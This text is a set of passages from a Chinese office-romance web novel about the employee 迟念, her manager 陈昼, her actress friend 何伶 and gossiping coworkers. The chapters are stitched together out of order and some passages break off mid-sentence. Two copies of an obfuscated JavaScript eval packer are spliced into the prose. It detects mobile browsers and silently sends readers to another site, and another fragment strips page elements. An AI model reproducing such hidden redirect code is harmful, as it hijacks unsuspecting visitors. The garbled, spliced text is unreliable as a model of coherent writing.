盛夏天长夜短,这个时间,太阳还未落,粉红色晚霞鱼鳞似的铺了满天,仿佛置身不真实的童话世界里。 直到驶入主路,陈昼才回复:“逛街。” 迟念自然想到上次逛街,他是为喜欢的女孩挑选礼物为由,那么漂亮的手表,却还没戴在那个女孩的手腕上。 难道,来公司的女孩不是他喜欢的那个? 或者…这是另一个爱慕他的女孩? 迟念倾向于后者,因为只有这样,才能解释她们为什么不像,如果这次也是为了帮忙挑选礼物… 啊! 心里莫名不舒服。 许是那两个意外的吻让她产生不切实际的幻想,连她自己都没意识到,混沌的暧昧早已在身体里生根发芽。 他要离开了。他还没有表白。 迟念惆怅地看着窗外发呆。 陈昼早就发现她情绪不佳,空出来的手不自觉地摸了一下裤兜,四四方方的盒子,里面放着手表。 他按捺着心绪起伏:“上次逛的地方有服装店吧,想麻烦你帮我选一下衣服,不知道方不方便。” 迟念脑子没反应过来,顿了几秒才意识到,又是在当那个和她像的人替身。 心情复杂,很想拒绝,但是面对上司,还是这样一个温和有礼的上司,总是硬不起来,她干巴巴地说了一声可以。 车子停进收费停车场,两人乘电梯直达商场内部,陈昼还和上次一样,对有关女生的东西一概不知,一路沉默,似乎在等待她的建议。 迟念实在没心情。 以前兴致勃勃地想帮他,现在却身心抗拒,频繁的私下接触导致他们之间的界限变得模糊,甚至还过线两次… 她控制不住乱想,这样到底算什么啊,难道自己真的是平替,抑或是消遣? 这可比自作多情难受多了。 陈昼目的明确,他有意识地走到奢侈女装区域,透明玻璃展台里摆着夏季最新款,他指了指模特身上穿的浅黄色连衣裙,问:“这件怎么样?” 他的声音把迟念拉回现实,她抬起头,拿出积极上进的员工状态。 “好看!” “那就试试?” “哦…啊?”迟念硬着头皮说,“这不太好吧,衣服毕竟不像手表,我穿合适不代表她合适,我觉得您还是约她亲自过来…” 陈昼想都没想就截断她的话。 “不用。” 他双手插兜,指尖抵在硬实的盒子上,满脑子都在预演接下来的告白,没有注意迟念脸色泛白。 为了让她乖乖进去,他抱歉地说:“周末我们要参加婚宴,不能抢新人风头,也不能让人觉得怠慢,所以…” 迟念条件反射为领导分忧,“所以得多试几套?” 陈昼压住愉悦的笑意,“这样就太好了。” 奢侈品牌的试衣间豪华得晃眼,她跟在导购小姐的身后,得知要进去帮她换时,不好意思地婉拒:“不用不用,我自己可以。” 导购小姐看了眼连衣裙,“可是…有拉链啊。” 迟念展开双臂,“没事,我胳膊长!” 一个人进去,反锁房门。她后知后觉想到,以前看的偶像剧里几乎都有男主带女主试衣的场景。 暖黄色灯光,氛围暧昧,待女主从里面走出来大变身时,一定会放慢镜头,切入男主惊艳眼神特写,然后插入BGM… 而她此刻作为试衣模特,第一件事是… 翻出标签看价格。 “个十百千万…万?”她一个激灵,以为自己看错,这么一件轻不到二两的裙子,竟然标价三万五千八。 这导致,她换衣服的动作无比小心,生怕身上有什么尖锐的东西刮坏布料。 导购小姐规规矩矩地站在门口,陈昼坐在加长沙发上,视线反复投到试衣间方向。他抬腕看了眼时间,已经五分钟了。 在他起身,准备过去看看时,门开了。 迟念为了把裙子顺利穿进去,特意把头发绑起来,裙子尺码正好,每一块布料都紧密贴合皮肤。 平时习惯穿工装,她很不习惯这种,为了防止走光,一路拽着抹胸处,走出来的姿势有些僵硬。 导购小姐拉着她站在镜子前。 “您年轻,身材也好,很适合穿这种轻盈透着俏皮的款式,不信的话问男朋友,是不是很漂亮。” 迟念顿时警铃大作,刚想解释不是男朋友,耳边就传来温和的男声。 “对,很漂亮。” 她只觉得尴尬,焦灼之际,救命的电话铃声突兀地响起。 也打断了陈昼接下来的动作。 是何伶打来的,她马上接起。 “喂?” 听筒里传来压抑的啜泣声,然后是微弱的求救,“念念,我要死了,快来救我!” 陈昼见她脸色不好,本想问发生什么事,结果迟念迅速挂断电话,十万火急地说:“不好意思,我有急事要先走!” 话音未落,人已经跑到门口。陈昼下意识想追过去,手臂却被导购小姐死死拉住,“先生,裙子还没付款。” * 二十分钟后,迟念赶到酒店,直奔顶楼。 房间的门没关紧,她喘着粗气,小心翼翼地推开,“伶子?你在吗?” “在。” 声音从里面传出来。 迟念循着声音的方向,看到何伶一身白衣,披散着长发,歪坐在窗边的单人沙发上。 她跑过去,上下检查一番,“怎么了,被人欺负了?” 何伶几乎脱力,摇了摇头,苦笑说:“没有,就是饿得站不起来了。” 迟念提心吊胆一路,听到她只是饿了,松了口气的同时又生气,她咬紧后槽牙,“怎么不饿死你呢。” 何伶仰起头,头发盖在脸上,看不清表情,眼神却突然灼灼,“你怎么穿这么隆重?”她抬手捻了下裙角,“这好像是D家新款哎?” 迟念一路太心急,忘记这件事,被她这么一说,才想起昂贵的价格, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“啊?”迟念手忙脚乱用一次性围裙把上半身包住,震惊地说:“你…你下午不是还说能演女一吗,怎么又不演了,遇到潜规则了?” 其实,从她在电话里听到“酒店”两个字时,就想了很多可能;赶到之后,看到过分奢华的房间和状态糟糕的何伶,根本不敢多问。 听到何伶这么说,再不敢面对的猜测也变成确凿。 她眼眶一酸,“是真的?” 何伶好整以暇地看着她,突然笑了,“当然不是,你还是我粉丝后援会的负责人呢,竟然给我贴黑料。” “我说真的!” “真的,没有!”何伶发誓。 迟念还是不能松弛,她说:“我当不当助理是小事,你挨欺负是大事,如果是真的,也不用怕,交给我。” 何伶被逗笑,“交给你干吗呀。” “曝光他!” “哎呀行了,真没有,你怎么像热锅上的蚂蚁似的。”她夹了一块熟透的,送进迟念碗里,“吃,多吃牛,长力气!” 迟念心不甘情不愿地吃了一口,执着地问:“到底怎么回事?” 何伶耸了耸肩,“其实也没事儿,就是我想演的女三是武将,扛大刀的,我减肥太狠了,外形不过关。” 迟念呆滞。 过了好久,她才反应过来,扬手招呼服务员。 “你好,这边再加十盘牛肉!” 46. 第四十六章 何伶因为这次的挫败一蹶不振,连以前视为毒药的榴梿芒果双拼千层都敢吃了,她盘腿坐在瑜伽垫上,边吃边看电视。 卧室里,迟念脱下裙子,小心翼翼地挂到窗帘杆上,随后拿出手机,给陈昼发微信。 【小迟】:今晚非常对不起,我明天上班会把衣服带过去,吊牌没摘,你要是想退的话我可以跑腿! 消息发送成功,她紧张地咬手指。 手机在岛台震动,陈昼没有立刻过去看,而是坐在沙发上,盯着旁边的精致购物袋——里面装着迟念换下来的衣服。 丝质白衬衫,垂坠黑西裤,散发淡淡的清香味。刚才不小心掉落在地,他在捡起的时候,一件白色吊带从衬衫里滑出来。 他大约知道,这应该是女生穿在内衣外面,防止走光用的,可却在指尖触到柔滑的面料时,突然产生想闻一下的欲望。 这也是他呆坐在沙发上的原因。 震惊,不解,茫然。 单身太久,陈昼已经区分不开正常欲望和变态的分别,在犹豫着想给心理医生打电话时,手机再次震动。 他站起身,脚步略带疲惫地走过去。 迟念发出一条消息,焦灼地等了几分钟不见回信,瞬间被菜鸟员工附体,更把折磨自己的复杂情绪抛到脑后。 【小迟】:我现在有时间,应该还有店铺没关门,要不我们见面吧。 陈昼低着头,视线停留在“我们见面吧”这几个字上,身体里好不容易有熄灭势头的火苗重新燃起。 他很想说可以,但是不确定自己能做出什么事,毕竟已经有过两次先例,每次失误之后,关系都会变冷几分。 沉吟几秒,单指打字。 ——明天见。 迟念恨不得把聊天页面盯穿,怎么就三个字?难道真的生气了?她抚着心口,积极调节情绪,并开导自己:陈昼不是小心眼的人。 可是…她太着急,没有给出合理的解释,直接穿着价值三万八的裙子跑了,这是什么行为? 答:找死的行为。 怎么办啊! 迟念欲哭无泪,她可是刚在职业规划书上写下个目标是升到主管,如果因为这件事搞砸,那…可不行! 想象的恐惧占据上风,她直接拨号过去,却听到机械的女声——对不起,您拨打的电话正在通话中… 何伶倚在门口,手里拿着吃剩个底的蛋糕,在迟念冲空气挥拳抓狂时,提议:“要不要喝酒啊,我下去买。” 陈昼回完消息的时候,接到花尧的电话,他人已经到了楼下,问他要不要去酒吧喝一杯。 他正郁结难疏,这个邀约来得刚刚好。 高级卡座,两人对坐。 花尧不是那种闲的没事随便找人出来的性格,他没长骨头似的歪坐着,喝了一口酒之后,开门见山。 “孟思妍不是暗恋你吗,大老远跑林江来,不去找你,竟然在我那赖了一天。” 这个名字很久没听到了,陈昼有些惊讶,“孟思妍?” 花尧一想到这件事就没有好气,他忙得快要死了,还得给孟叔打电话,拜托他把宝贝孙女接走。 他们从小一起长大,那孟思妍就灾星一个,每到关键时候就跳出来,差点坏事。 “可不就是,好像我欠她钱一样。” 陈昼听他抱怨的时候,喝进大半杯,很久没喝了,有些微醺,他放下杯子,随口说:“可能喜欢你。” 花尧眼睛瞪溜圆,好像被吓到了,“可别,我有女朋友了,勿扰哈。” “什么时候?我前几天还想给你介绍一个呢。”陈昼万幸那天迟念没有答应,冲前面抬手,示意这边再来一杯。 “别,不需要。”花尧脸不红气不喘,“我女朋友超爱我的。” 陈昼抬眼看他,“真的?” “我还能骗你不成。”花尧跷着二郎腿,双臂展开摊在沙发扶手边缘,饱汉子不知饿汉子饥地问:“你呢,什么时候回去联姻?” “闭嘴。” “哈!”他一想到陈叔那张忧心自己家香火的脸就想笑,三代单传的一根独苗,结果是不近女色的工作狂。 许是他的幸灾乐祸太明显,陈昼的倾诉欲望被浇灭了几分,他不再续杯,坐着听花尧说了一会儿废话之后,毫无留恋地站起身,“我先回了,明天很忙,连赶三个饭局。” 花尧含着化了一半的冰块,翻着白眼吐槽他:“啧,无趣的工作狂。” * 第二天,迟念带着这条天价裙子上班,害怕挤地铁发生意外,特意打车到的公司,结果陈昼不在。 她拎着层层包裹的纸袋,站在经理室门口,扭转门把,竟然锁了? 刚好叶珍珠从茶水间回来,她忙问:“陈经理今天还要下市场吗?” 叶珍珠见怪地看她了一眼,“你问我呀?” “呃…”迟念心跳漏了一拍,只顾着急,忘记自己和陈昼在同事眼里是恋人关系,无力地说:“最近太忙了,我们没怎么说过话。” 叶珍珠耸了耸肩,悠闲地啜了一口热茶,“应该是,这不活动结束了嘛,合作关系这么多,都得顾到。” 说完,突然想到,“哦对了,今晚聚餐,你和小陈总说了吗?” 迟念呆滞,“今晚?这么急?” “也不是急。”叶珍珠揉了揉僵硬的脖子,“我们都多久没双休过了,今天周五,晚上聚完,明后天你们好好休息,这样多好。” “…可是他今天还挺忙的。” “知道!”叶珍珠突然握住她的手,“所以只能把这个艰巨的任务交给你了,务必,一定,要让小陈总答应今晚聚餐。” 见迟念一脸犯难,叶珍珠索性摊牌,“我们也好久没有休息了,和上司聚餐还是留在工作日吧,拜托拜托!” 迟念挣扎无用,只能无奈地应下。 已经过了这么久,当初捅的大娄子还没补完。 一上午,经理室的门都没开过。吃完午饭,她把自己反锁在洗手间隔间里,纠结着给陈昼发微信。 【小迟】:陈经理,衣服我带来了,本想送到办公室里,可是门锁着,你也一直没来,要不我自己过去退? 这么一段话,删了改,改了删,编辑了十分钟才发出去。迟念蹲坐在地上,紧张地等待回信。 三分钟后,新消息弹出。 ——不用。 又是这么简短的回复,迟念职场经验贫瘠,不会揣测领导的心,这个不用,是不用送办公室还是不用退? 不知道怎么回,而且不止这一件事要说。 好紧张啊!要死! 以前在一起相处,完全没有这种感觉,现在是怎么了,一沾到和他相关的事,就方寸大乱心跳不止。 她捧着手机,笨拙地敲字。 【小迟】:好,那暂时放我工位上。 ——裙子不需要退。 【小迟】:啊…好。 【小迟】:今晚一起吃饭吧,七点,烤肉怎么样? 此刻坐在酒店高级包房里的陈昼看到新消息,眉头一皱,昨晚见面她第一句也是这个,在这种时期主动提出一起吃饭,是不是说明… 他干脆地放下筷子。 ——可以。 收到肯定的答复,迟念如释重负,退出聊天框,转进新建的聚餐群。 【小迟】:今晚聚餐,时间七点,还是之前说的那个地方。 消息发出,后面跟了十几个“收到”,最后是欢姐出来结束机械回复。 【谢欢】:辛苦小迟,在小陈总今天这么忙的情况下,还能争取到聚餐的时间,你的功劳大大的! 这会儿不忙,大家都在线上摸鱼。 ——说啥呢,毕竟女朋友。 ——之前可一点看不出来,小陈总每次开会都单把小迟揪出来骂,好像有仇似的。 ——确实,他刚调来的时候我就听说和小迟是一对,我还奇怪,以为这谁散播的谣言呢。 ——附议!可能刚过来的时候时间紧任务重,最近就还好,经常看到他们在一起,这才像情侣嘛。 迟念呆呆地看着滚动的屏幕。 大家最近貌似有些无所畏惧了,她急忙敲字,还没发出,就看娇娇也说了一句。 【梦特娇】:人应该相信自己的直觉,有没有一种可能,最开始的时候,他们确实没有在一起呢~ 迟念火速删掉打好的字,退出群聊,私信娇娇。 【小迟】:你在胡言乱语什么啊? 【梦特娇】:只是实话实说而已,你不会介意了吧?真是不好意思,大家都看到了,撤回的话好像不太好。 迟念气得磨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918891|155647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牙,现在活动结束了,娇娇没有什么需要求她帮忙的了,马上有恃无恐,跳出来说些有的没的。 【小迟】:你到底想干吗? 【梦特娇】:怎么,这就生气了?别呀~听说对街新开了一家西餐厅,最近新出了季度限定的传奇圣代,突然想尝尝了。 迟念翻了个白眼。 【小迟】:你想得美! 【梦特娇】:不请?你都和小陈总谈上了,他那么有钱,不给你花?难道…你们只是短期床友? 【小迟】:你有毛病啊?我们怎么样和你有什么关系。 【梦特娇】:可能我比大家多知道一点吧,你这样遮遮掩掩的,我更好奇了,既然你不说,晚上聚餐的时候我直接问小陈总。 【小迟】:你现在哪? 茶水间里,娇娇喝光杯底的咖啡,晒证据似的冲欢姐晃了晃手机,“我最近一直觉得不对劲,虽然大家都默认他们是情侣,但我觉得,关系要么很肮脏,要么根本没到那一步。” 欢姐根本没多想,听她这么说,差点呛到。 “肮脏…这是啥词啊?” “实话实说罢了。”娇娇不理会聊天框新弹出的诘问,直接把手机静音关闭。 这段时间忙得要死,分不出精力想这件事,活动结束之后,才觉得不对,他们的恋情不管怎么看都有点假。 在公司里说八卦不太好,她拉着欢姐下楼,随便找了一家咖啡馆坐下。 欢姐被她弄得一头雾水,趁娇娇点单时,仔细把整个事件串联。 最初是看到迟念的朋友圈官宣,自然认为他们是恋人关系,在公司里大家都保持缄默,后来他们一起出差,回来之后就分手了。 然后…娇娇截到迟念手机里的聊天框,发现她有男朋友,紧接着被人看到小陈总带她挂急诊,结合白天她频繁干呕去厕所吐,还传过几天她怀孕的谣言。 后来,谣言突然消失,他们复合之后,大家都好似忘了中间的插曲,像最初时那样默认他们是相恋多年的情侣。 只有娇娇和自己多了这段记忆。 她瞪大眼睛,“靠靠靠!” 娇娇秒回,“是吧?” “对!”欢姐终于明白娇娇为什么说“肮脏”了。 职业规划书是她负责整理的,迟念对于下一步的规划是当上部门主管,她看到时还惊讶了一下。 以为她会和小陈总一起回广安,毕竟陈董不止一次在访谈节目中坦言希望儿子尽快结婚,那边在着急,迟念竟然无视。 娇娇端起咖啡,做作的抿了一口,“我还是倾向于他们不是正当关系。” 欢姐托着下巴,对她的结论表示同意。 “有道理,小迟最初发的朋友圈,不就是在酒店里的事后照么,虽然很快删除了,可那时候我们已经误会了。” 娇娇放下杯子,微微探身过去。 工作时不顶用的脑子,分析八卦倒灵活得很。 “肯定是迟念不满足和小陈总维持那种关系,才发的朋友圈,结果惹怒小陈总,直接和她断了关系。” 欢姐顺着她的话尾接着说,“然后她无缝谈了个男朋友,结果身体出现早孕反应,只能去找小陈总。” 娇娇倒没想过这个,因为工位靠近,最近这段时间她没看出迟念身体有什么异常,怀孕应该不可能。 欢姐专注推理,“但是她靠这个又和小陈总在一起了。” “在一起什么啊,就是单纯解决生理需要。” “对,虽说大家都默认他们是恋人,但仔细观察的话,他们之间的气氛很怪,就连聚餐吃饭转告一声这种事,迟念也推三阻四的,刚才说着说着还退群了。” “活动结束,小陈总要回去继承家产了,这边肯定要断个彻底,她竹篮打水一场空,心里肯定不舒服。” 欢姐点头,端起咖啡抿了一口。 “挺有意思,怎么看小迟都很老实啊。” 娇娇把披散下来的头发撩到耳后,撇嘴说:“可能小陈总口味刁钻吧,我这种大美女天天在他眼前晃,结果冷面无情,又是通报批评又是扣全勤的;迟念更是,一个新人,仗着背后有人,可硬气了,让她帮忙也不肯帮,还摆出那种高高在上的样子,一想到我就来气。” 欢姐恍然,“怪不得你对这件事这么上心,原来是积怨太深。” 40-50 第41章 第四十一章 “情敌”对峙? 何伶从冰箱拿出一瓶冰水, 递给瘫在沙发上的迟念,“怎么累成这样,难不成公司今天办运动会了?” 迟念疲惫地摇了摇头。她现在思绪很乱。 陈昼今天没喝酒, 看起来非常清醒,怎么又做出那种事了?难道真像他自己说的,混淆了? 屁! 就算双胞胎, 也不会像到分不出的程度,更何况车里还有灯,上一秒还在说话呢,下一秒就压过来了。 她气闷, 这到底算什么啊? 何伶拿着冰水, 看她一会皱眉一会冷笑的, 明显不正常, 难道回家的路上撞到脏东西了? 她抓起沙发上的手机, “没事儿,我给红姨打电话,她会远程收惊。” 迟念急忙探身过来, 把还没通的电话挂断,“收什么惊啊, 没事儿。” “工作搞砸了?” “没。” 迟念烦躁地把脸埋在抱枕里,闷闷地说:“别问了, 我自己还没理清呢。” 何伶一听,马上猜出是关于感情方面的困扰,她们从小一起长大,每次恋爱都互不隐瞒,也知道她变成这种怂蛋模样一定是… “又单方面失恋了?” 迟念斜了她一眼,撇嘴说:“才没有。” “和我有什么不好意思说的。”何伶也无心运动了, 坐到她身边,摆出一副打破砂锅问到底的架势,“说说呗,我帮你分析一下。” “…不要。” “哎呀!”何伶被勾起好奇心,“这样吧,交换秘密,我先说我的。” 迟念不感兴趣地哦了一声,“你的我都能猜到,无非是在剧组认识个小狼狗弟弟,要到联系方式,热聊一周,然后找碴吵架甩掉…” 何伶的过往被说中,愣了一下,“我要说这个不是!”她着重强调,“不是弟弟,也不是小狼狗。” 迟念抬眼,有些意外,“那是?” 她终于从少儿不宜的画面里逃出来,好奇何伶这种择偶审美固定的人,会隐瞒了什么样的对象。 何伶清了清嗓子,“还记得我上次说那个给我钱,让我演他姐的男人吧?” 迟念眼珠转了转,猛地想起,“喜欢挨打那个!” “对。” “你…”迟念思维开始发散,想到某些小众癖好的场景,连带着对何伶都不忍直视,“配合他了?” “没有,他不是。” 何伶经过漫长的休息,终于把那件事消化好了,说到底,还是她自己意志不坚定,怪不得别人。 迟念洗耳恭听。 “有一天下大雨,我和你说不回来了。” “对,那天你的戏太累了。” “那晚我们睡了。” “哦…蛤??” 迟念震惊地张大嘴巴,只停顿一秒钟,马上问:“戴套了吗?” “戴了。” 她松了口气,“那就好。” 迟念虽然看起来乖乖女,但这方面没有那么保守,对于男女之间的亲密行为,在保证安全的前提下是可以的。 “然后呢?” 这次换何伶意外,“没有然后了啊,现在陌生人。” 迟念:“……” “这算什么秘密。” 何伶扑哧一声笑了,故意激她,“来,那你说一个比我这还劲爆的。” 迟念猛提一口气,说之前突然意识到,把她折磨得心烦意乱,几乎超出心理承受的,只是一个吻而已。 衣服好好地穿着,不涉及安全问题,仅停留在脖子以上的接触,和对面的一夜情相比,自己这件事简直不足挂齿。 她立刻偃旗息鼓,“是和陈经理啦。” “睡了?” “没有。”迟念难受地抓了抓后颈,“他就是…亲我。” 何伶安静三秒,本在等十八禁的下文,结果什么都没有,不死心地问:“只是亲而已?手有没有乱摸?” 她摇头,“没有。” 何伶大失所望,这种时候应该喝一杯酒的,可惜在关键期,只能拧开水瓶抿了一口,润润嘴唇。 “你们在搞纯情校园那一套啊?” “怎么就纯情了!”迟念音量提高,“他有喜欢的女孩,每次和我见面的理由都是问我怎么追人家。” 何伶这就不懂了,“为什么偏偏问你。” “他说我们很像。” “像?” 何伶托着下巴做思考状,断碳之后脑子是慢,她想了半天,终于得出结论:“这是把你当平替了。” 这个形容词还没替身好听呢,迟念自尊心受到重创,“包包护肤品什么的有平替正常,第一次听说女朋友还能平替。” “他就喜欢你这种类型的呗,正的不好追,山的凑合一下。” 迟念:“……” “你说话好难听。” 何伶微笑,“故意气你的。真是根木头,他都亲你了,奔三的男人怎么可能搞纯爱,很明显对你有那种企图。” “可能吗…”她不解,“那干吗还一直问我怎么追别人。” 何伶耸了耸肩,“他是想脚踏两条船,还是闲得没事拿你解闷,得当面去问他啊,万一他喜欢的就是你呢。” 迟念自动pass掉最后一句。 自作多情只经历过一次就够了,按现实来考量,他家世显赫,条件优越,想找什么样的找不到,干嘛把时间浪费在她这底层员工身上。 她眼神幽幽:“可能把我当解闷的花生米了。” 何伶看不上她这样悲观,大嗓门说:“不管把你当花生米还是船,明天当面问清楚,强硬点,不就一破工作吗,真被开除了来给我当助理!” “呜!” 迟念感动得要死,她一把搂住何伶的腰,呜呜地说:“伶子,没有你我可怎么活啊…” 夜深,街上车流渐渐稀少。 黑色奔驰车依然停在小区门口,副驾驶车门半开,座椅上的垫子滑落一半,这一切都昭示坐在这里的人走得很匆忙。 一缕青烟飘散在空气里,未燃尽的烟头在夜空中划了个抛物线,湮灭的同时,消失在人行道边的垃圾桶里。 陈昼再次抬起头,看向高层公寓亮灯的窗口。 小小的明黄色,偶尔有人影闪过。 他突然累了,身体里的火已经被点燃,且越烧越旺,没耐心再玩这种暧昧拉扯的游戏,恨不能现在就把她搂进怀里。 他吐出一口浊气,黑暗的车厢里,手机突然亮屏。 新消息显示一堆红色表情,他随手点开,是乔森的婚礼邀请。 ——嘿!日子定了,这周末,在半岛酒店,一定一定要带女朋友来! * 活动进入尾声,部门里的键盘声比平时更吵,迟念坐在工位,两只眼睛呆滞地盯着电脑屏幕,脑海里正火热播放狗血小剧场。 ——她身穿黑色特工套装,脚踩高跟鞋大步走到经理室,冷酷地推开门,站在办公桌前,抱紧双臂。 男人和平时一样,面无表情地处理工作,好像之前那两次冒犯与他无关。 迟念用手指重重敲桌面。 他抬起头,推了推眼镜,上下打量她。 “念念,有事?” 迟念扯了扯嘴角,“我之前警告过你好几次吧,不可以这么叫我。” 陈昼手指交叉,思索几秒之后,颔首答应,“好,以后叫你小迟。” “还有…”她利落地从西服兜里掏出手枪,越过办公桌,枪口直顶他的额头,“喝醉亲我的事既往不咎,如果再有下次,我就不客气了。” 她一字一句说完,故意做扣动扳机准备,陈昼马上举起双臂做投降状。 “抱歉,是我的失误,因为你和我喜欢的女孩很像。” 迟念面露嘲讽,“你在找借口,就算是一模一样的双胞胎,她们的爱人也会瞬间分辨出来,因为爱人是爱灵魂,不是皮囊。” 陈昼不解,“灵魂?” “对,由此可见,你口口声声说爱她,是假话,而借着请教的名义三番五次接近我,是…”她向前探身,突然露出笑容,“移情别恋爱上我了吧?” …… 靠! 迟念一身鸡皮疙瘩地从小剧场里脱离,第一件事就是猛掐自己大腿,你在想什么啊啊啊,应该拿出强硬的气势质问,这么还演上偶像剧了。 心里这样命令自己,大脑却脱离主线不受控制。 狗血的办公室剧情进入尾声,画面一转,回到那晚醉酒,欸?她惊恐,自己怎么是监控器视角… 男人醉倒在床,脱力的女孩靠在床边喘气,在她浑然不觉的情况下,他慢慢睁开眼,深情地看着她的背影。 剧情开始不按现实走。 男人解开衬衫纽扣,一颗,两颗,三颗…直到胸肌腹肌全部裸露,女孩才后知后觉,惊恐地捂住嘴。 昂贵的衬衫被扔到床尾,他的嘴角噙着淡淡的笑意,眼神却像一头饥饿的野兽在看自己的猎物。 越来越近。 男人脊背宽阔,猛眼看去,比她花钱买来的官宣照有型,多了几分成熟男人的味道不说,也更加危险。 女孩手脚并用向后躲,奈何卧室狭小,她缩在角落,眼眶泛红地恳求:“陈经理,求求你不要这样好不好?” 男人哂笑,抬手勾住她的下巴,明目张胆地撩拨她的嘴唇,“求?你送我回家不就是想这样吗?” 他慢慢靠近,喘息相闻。 停在五厘米外。 侵略的眼神几乎把她剥光。 “难道你不想?” …… 啊! 迟念崩溃的抓自己头发,死脑子到底在想什么啊啊啊!说多少次了,不要自作多情不要自作多情! 她欲哭无泪。 休眠的显示器屏幕倒映她狼狈的样子,长叹一口气之后,从桌角拿起手机,点击粉色APP图标。 页面显示一颗红心,旁边温馨标注——您正处在排卵期。 怪不得… 人在激素作用下是如此的渺小,她宽容地原谅了自己刚才的胡思乱想,点击鼠标,准备投入工作中去。 屏幕刚亮,欢姐就从背后拍她肩膀,“忙呢小迟。” 迟念回头,“还好,什么事?” 欢姐端着一杯热咖啡,边吹气边指门外,“有人找你,好像是你那个当演员的朋友吧,啧啧,长得还真是盘靓条顺。” 何伶来找她?她不是饿得在家躺平了吗,怎么会有力气走这么远。 迟念不明所以,谢过欢姐之后,顶着一头被揉乱的头发出去;走廊空荡荡的,没看到人,难道在楼梯口? 她脚步加快,刚走到转弯,就差点撞到人。 是个女孩。 她身材高挑纤细,穿着黑色香风连衣裙,一头栗色波浪卷,细白的手臂挎着一个铂金包,脸没看清,香水味先冲过来了。 浓得呛鼻。 迟念轻咳一声,忙道歉,“对不起对不起。” 女孩抬起头,过分精致的脸显得这身华贵都不那么隆重了,简直为她量身定做,契合得让人赞叹叫绝。 她眉眼是柔和的线条,眼神却透出一丝凌厉,被冒失的人撞到,似乎心情不好,皱眉打量迟念。 脸勉强算清秀吧,浑身上下也就脸还行,穿着素净的衬衫西裤,像个银行柜员,主要这头发,搞什么啊,刚从被窝里爬出来似的。 怎么,和陈昼谈恋爱就把公司当家了? 孟思妍冷笑一声,把对她的评价从0变成负数。 迟念本来对她很惊艳来着,结果听她冷笑,暗暗腹诽,这么美丽的一张脸,脾气却貌似不太好。 不过是自己有错在先,还是再道一次歉吧。 她比刚才更诚恳,“实在不好意思,撞疼你了吧?” 孟思妍无视她的道歉,开门见山,“你就是迟念?” 迟念愣了一下,她确定不认识这个人。 “是我,你是?” 孟思妍勾起唇角,前几天偶然听说陈昼有了女朋友,还说谈了很多年,她以为是个多了不得的人物呢,没想到就这? 来之前还精心挑选礼服,搭配昂贵饰品,一路绷紧神经。结果…杀鸡焉用宰牛刀,她就算穿睡裙来都比眼前的人精致。 陈昼竟然和这样的人恋情稳定,还为此拒绝自己好几次,甚至为了和她在一起留在这种鬼地方。 近距离接触后,孟思妍不太信,她说:“我和陈昼认识二十多年了,这几天经常听到你的名字。” 迟念瞳孔地震,电光火石之间想到陈昼那个喜欢却追不到的女孩,他们的外表,年龄,气质都非常相配。 难道已经在一起了!? 她视线下移,停在孟思妍手腕。 那里有一串精致的手链,不是手表,还没表白? 现在表没表白不重要了,她为什么会找来啊,还特地赶在陈昼不在公司的时间,难道…听到谣言误会了? 迟念如临大敌,事情因自己而起,应该好好解释一下,可话还没说出口,就听这女孩啧了一声,眼神明晃晃是在看扁。 “还真不怎么样。” 迟念愣怔,她眼神嫌弃也就算了,说话竟然还这么难听。 算了,她不自然地笑笑,态度很好,“要不我们坐下聊,请你喝咖啡可以吗?” 孟思妍嗤了一声,她特地过来就是为了发脾气,没逮到陈昼,逮到他女朋友也是一样,“怎么,在这装大度呢?” 见迟念一脸蒙,孟思妍索性把这么多年暗恋不成的委屈都撒在她身上。 “你不怎么样的意思是,很丑,很土,很矮。” 迟念心跳加速,她已经很久没听到这样原始又直白的人身攻击了,大脑短暂空白之后,脱口而出:“可是我们长得一模一样啊。” 孟思妍倒吸一口气,堂皇到短暂失语。 “眼瞎了吗?”她气笑了,指了指自己,“你,和我,一模一样?” “对!”迟念面色平静,脸不红气不喘地说:“如果我们一起出门,一定会有人问我们是不是双胞胎,甚至有的人会直接把我当成你,我们就是复制粘贴。” 第42章 第四十二章 欢送会 距离上午的对呛已经过去两个小时, 迟念还压着一股火,她坐在食堂靠窗位置,脑海里反复回荡那句话。 ——很丑, 很土,很矮,很不怎么样。 啊!这个嘴巴猝了毒的女人。 餐盘里的午饭还剩大半, 她实在没有胃口,筷子挑了几粒米,来来回回,就是送不到嘴里。 心情不好, 急需安慰。 她点开手机, 进入置顶聊天页。 【小迟】:呼叫伶子。 过了两分钟, 对面才回复。 【可伶可俐】:? 【小迟】:在干吗。 消息刚发出去, 何伶就回了一张自拍。她头上绑着发带, 穿着瑜伽服,裸露在外面的皮肤白里透红。 像一颗刚成熟的水蜜桃,美得晃眼。 【可伶可俐】:我在做热瑜伽啊, 准备消耗掉身体里多余的水分,马上就面试了, 必须一举拿下! 迟念把饭粒塞进嘴里,慢慢敲字。 【小迟】:你不吃饭, 这样不会晕倒吗? 【可伶可俐】:晕就晕吧,这几天都晕习惯了。 【可伶可俐】:忙了哈,要进高温仓了,拜~ 关掉手机,迟念叹了一口长气。 嘴里的米饭像世间最苦的药丸,怎么都咽不下去, 她拿起牛奶准备喝,余光却瞥见一个熟悉的身影。 是陈昼。 他端着餐盘,径直走过来。 迟念差点呛到,忙放下牛奶,拿起桌上的随身物品,打算离开,结果刚站起来,陈昼就走到了。 活动最后冲刺期,他忙了一上午,好不容易抽出时间回来吃饭,看她的样子却是要走。 “吃饱了吗?”他放下餐盘,问她。 迟念因为上午的插曲,打乱原本想质问他的节奏,现在脑子很乱,甚至不敢看他的眼睛,低头说:“吃饱了,我得去忙了。” 